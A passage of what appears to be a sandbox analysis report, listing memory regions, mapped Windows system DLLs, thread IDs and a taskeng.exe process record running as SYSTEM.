entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 949 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 950 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 951 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 952 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 953 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 954 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 955 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 956 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 957 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 958 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 959 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 960 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 961 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 962 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 963 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 964 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 967 start_va = 0x7fee2f80000 end_va = 0x7fee2f89fff entry_point = 0x7fee2f80000 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1038 start_va = 0xdd0000 end_va = 0xdd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 1039 start_va = 0xde0000 end_va = 0xde0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 1040 start_va = 0x3720000 end_va = 0x379ffff entry_point = 0x0 region_type = private name = "private_0x0000000003720000" filename = "" Region: id = 1041 start_va = 0x7fee2820000 end_va = 0x7fee2831fff entry_point = 0x7fee2820000 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1042 start_va = 0x31d0000 end_va = 0x324ffff entry_point = 0x0 region_type = private name = "private_0x00000000031d0000" filename = "" Region: id = 1043 start_va = 0x7fee27d0000 end_va = 0x7fee2814fff entry_point = 0x7fee27d0000 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1044 start_va = 0x7fef7030000 end_va = 0x7fef7040fff entry_point = 0x7fef7030000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1045 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1046 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1047 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1048 start_va = 0x26e0000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 1049 start_va = 0x7fee2120000 end_va = 0x7fee212efff entry_point = 0x7fee2120000 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1050 start_va = 0x7fee2130000 end_va = 0x7fee2382fff entry_point = 0x7fee2130000 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1051 start_va = 0x7fee31d0000 end_va = 0x7fee3449fff entry_point = 0x7fee31d0000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1052 start_va = 0x7fef54d0000 end_va = 0x7fef5540fff entry_point = 0x7fef54d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1053 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1054 start_va = 0x1960000 end_va = 0x196ffff entry_point = 0x0 region_type = private name = "private_0x0000000001960000" filename = "" Region: id = 1055 start_va = 0x24b0000 end_va = 0x252ffff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 1056 start_va = 0x2b50000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 1057 start_va = 0x3350000 end_va = 0x33cffff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 1058 start_va = 0x3910000 end_va = 0x3a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 1059 start_va = 0x40b0000 end_va = 0x412ffff entry_point = 0x0 region_type = private name = "private_0x00000000040b0000" filename = "" Region: id = 1060 start_va = 0x4210000 end_va = 0x428ffff entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 1061 start_va = 0x43f0000 end_va = 0x446ffff entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 1062 start_va = 0x48d0000 end_va = 0x494ffff entry_point = 0x0 region_type = private name = "private_0x00000000048d0000" filename = "" Region: id = 1063 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1064 start_va = 0x7fefd5d0000 end_va = 0x7fefd5d7fff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1065 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1066 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1067 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1068 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1069 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1070 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1071 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1072 start_va = 0x7fee2050000 end_va = 0x7fee205cfff entry_point = 0x7fee2050000 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 1073 start_va = 0x7fee2060000 end_va = 0x7fee206efff entry_point = 0x7fee2060000 region_type = mapped_file name = "wups2.dll" filename = "\\Windows\\System32\\wups2.dll" (normalized: "c:\\windows\\system32\\wups2.dll") Region: id = 1275 start_va = 0xe00000 end_va = 0xe19fff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1276 start_va = 0xe20000 end_va = 0xe20fff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 1277 start_va = 0xe30000 end_va = 0xe30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 1278 start_va = 0xec0000 end_va = 0xec7fff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 1279 start_va = 0xfd0000 end_va = 0xfdffff entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1280 start_va = 0xfe0000 end_va = 0xfeffff entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1281 start_va = 0xff0000 end_va = 0xffffff entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1282 start_va = 0x1000000 end_va = 0x1000fff entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1283 start_va = 0x1020000 end_va = 0x1021fff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 1284 start_va = 0x1030000 end_va = 0x1030fff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 1285 start_va = 0x1040000 end_va = 0x104ffff entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 1286 start_va = 0x1050000 end_va = 0x1057fff entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1287 start_va = 0x13b0000 end_va = 0x13bffff entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 1288 start_va = 0x13c0000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 1289 start_va = 0x14e0000 end_va = 0x14e7fff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 1290 start_va = 0x14f0000 end_va = 0x14fffff entry_point = 0x14f0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1291 start_va = 0x1500000 end_va = 0x150ffff entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1292 start_va = 0x1510000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 1293 start_va = 0x16a0000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 1294 start_va = 0x16b0000 end_va = 0x16b7fff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1295 start_va = 0x16c0000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 1296 start_va = 0x1970000 end_va = 0x197ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001970000" filename = "" Region: id = 1297 start_va = 0x1980000 end_va = 0x198ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001980000" filename = "" Region: id = 1298 start_va = 0x1990000 end_va = 0x199ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001990000" filename = "" Region: id = 1299 start_va = 0x19a0000 end_va = 0x19affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019a0000" filename = "" Region: id = 1300 start_va = 0x19b0000 end_va = 0x19bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019b0000" filename = "" Region: id = 1301 start_va = 0x19c0000 end_va = 0x19cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019c0000" filename = "" Region: id = 1302 start_va = 0x1ce0000 end_va = 0x1ceffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ce0000" filename = "" Region: id = 1303 start_va = 0x1cf0000 end_va = 0x1cfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cf0000" filename = "" Region: id = 1304 start_va = 0x1d00000 end_va = 0x1d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 1305 start_va = 0x1d10000 end_va = 0x1d1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 1306 start_va = 0x1d20000 end_va = 0x1d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d20000" filename = "" Region: id = 1307 start_va = 0x1d30000 end_va = 0x1d3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 1308 start_va = 0x2470000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 1309 start_va = 0x2d50000 end_va = 0x2d8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d50000" filename = "" Region: id = 1310 start_va = 0x2d90000 end_va = 0x2dcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d90000" filename = "" Region: id = 1311 start_va = 0x3ee0000 end_va = 0x3f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1312 start_va = 0x4310000 end_va = 0x43cffff entry_point = 0x4310000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1313 start_va = 0x4950000 end_va = 0x4a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 1314 start_va = 0x4a50000 end_va = 0x4b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 1315 start_va = 0x4b50000 end_va = 0x4c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 1316 start_va = 0x4c50000 end_va = 0x4d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c50000" filename = "" Region: id = 1317 start_va = 0x4d50000 end_va = 0x4e4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d50000" filename = "" Region: id = 1318 start_va = 0x4e90000 end_va = 0x4f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e90000" filename = "" Region: id = 1319 start_va = 0x4f10000 end_va = 0x500ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f10000" filename = "" Region: id = 1320 start_va = 0x5010000 end_va = 0x600ffff entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 1321 start_va = 0x16010000 end_va = 0x2600ffff entry_point = 0x0 region_type = private name = "private_0x0000000016010000" filename = "" Region: id = 1322 start_va = 0x7fee1b90000 end_va = 0x7fee1d63fff entry_point = 0x7fee1b90000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1323 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1324 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1325 start_va = 0xed0000 end_va = 0xed0fff entry_point = 0xed0000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1326 start_va = 0xee0000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 1327 start_va = 0xf00000 end_va = 0xf7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 1328 start_va = 0x2b30000 end_va = 0x2baffff entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 1329 start_va = 0x4290000 end_va = 0x430ffff entry_point = 0x0 region_type = private name = "private_0x0000000004290000" filename = "" Region: id = 1330 start_va = 0x6010000 end_va = 0x640ffff entry_point = 0x0 region_type = private name = "private_0x0000000006010000" filename = "" Region: id = 1331 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Thread: id = 37 os_tid = 0xaa0 Thread: id = 38 os_tid = 0xa88 Thread: id = 39 os_tid = 0xa84 Thread: id = 40 os_tid = 0xa80 Thread: id = 41 os_tid = 0xa74 Thread: id = 42 os_tid = 0x8b0 Thread: id = 43 os_tid = 0x214 Thread: id = 44 os_tid = 0x298 Thread: id = 45 os_tid = 0x150 Thread: id = 46 os_tid = 0x460 Thread: id = 47 os_tid = 0x7fc Thread: id = 48 os_tid = 0x7f4 Thread: id = 49 os_tid = 0x7f0 Thread: id = 50 os_tid = 0x7e4 Thread: id = 51 os_tid = 0x79c Thread: id = 52 os_tid = 0x790 Thread: id = 53 os_tid = 0x774 Thread: id = 54 os_tid = 0x75c Thread: id = 55 os_tid = 0x750 Thread: id = 56 os_tid = 0x74c Thread: id = 57 os_tid = 0x71c Thread: id = 58 os_tid = 0x718 Thread: id = 59 os_tid = 0x70c Thread: id = 60 os_tid = 0x6ec Thread: id = 61 os_tid = 0x4c0 Thread: id = 62 os_tid = 0x498 Thread: id = 63 os_tid = 0x494 Thread: id = 64 os_tid = 0x484 Thread: id = 65 os_tid = 0x480 Thread: id = 66 os_tid = 0x474 Thread: id = 67 os_tid = 0x1cc Thread: id = 68 os_tid = 0x120 Thread: id = 69 os_tid = 0x3fc Thread: id = 70 os_tid = 0x3f0 Thread: id = 71 os_tid = 0x3e4 Thread: id = 72 os_tid = 0x398 Thread: id = 73 os_tid = 0x394 Thread: id = 74 os_tid = 0x390 Thread: id = 75 os_tid = 0x384 Thread: id = 76 os_tid = 0x378 Thread: id = 77 os_tid = 0x370 Thread: id = 78 os_tid = 0xb00 Thread: id = 79 os_tid = 0xb6c Thread: id = 80 os_tid = 0xb7c Thread: id = 81 os_tid = 0xb80 Thread: id = 82 os_tid = 0xb84 Thread: id = 83 os_tid = 0xb88 Thread: id = 84 os_tid = 0xb8c Thread: id = 85 os_tid = 0xb90 Thread: id = 86 os_tid = 0xb94 Thread: id = 87 os_tid = 0xb9c Thread: id = 88 os_tid = 0xba0 Thread: id = 90 os_tid = 0xbe4 Thread: id = 91 os_tid = 0xbe8 Thread: id = 92 os_tid = 0xbf0 Thread: id = 114 os_tid = 0x894 Thread: id = 115 os_tid = 0x88c Thread: id = 116 os_tid = 0x888 Thread: id = 117 os_tid = 0x6e4 Thread: id = 118 os_tid = 0x828 Thread: id = 131 os_tid = 0x858 Thread: id = 213 os_tid = 0xa4c Thread: id = 214 os_tid = 0xa58 Thread: id = 223 os_tid = 0xaa8 Thread: id = 224 os_tid = 0xacc Thread: id = 225 os_tid = 0xae4 Thread: id = 231 os_tid = 0x35c Thread: id = 308 os_tid = 0xb88 Thread: id = 309 os_tid = 0x52c Process: id = "7" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x2c10a000" os_pid = "0xbf4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x36c" cmd_line = "taskeng.exe {1B7CDD30-51BB-41DC-853A-1FD82B6C8077} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1074 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1075 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1076 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1077 start_va = 0xb0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1078 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1079 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1080 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1081 start_va = 0xff2b0000 end_va = 0xff323fff entry_point = 0xff2b0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 1082 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1083 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1084 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1085 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1086 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1087 start_va = 0x130000 end_va = 0x196fff entry_point = 0x130000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1088 start_va = 0x1a0000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1089 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1090 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1091 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1092 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1093 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1094 start_va = 0x50000 end_va = 0x51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1095 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1096 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1097 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1098 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1099 start_va = 0x3c0000 end_va = 0x547fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1100 start_va = 0x550000 end_va = 0x6d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1101 start_va = 0x6e0000 end_va = 0x79ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1102 start_va = 0x7a0000 end_va = 0xb92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 1103 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1104 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1105 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1106 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1107 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1108 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1109 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1110 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1111 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1112 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1113 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1114 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1115 start_va = 0xc00000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1116 start_va = 0xd20000 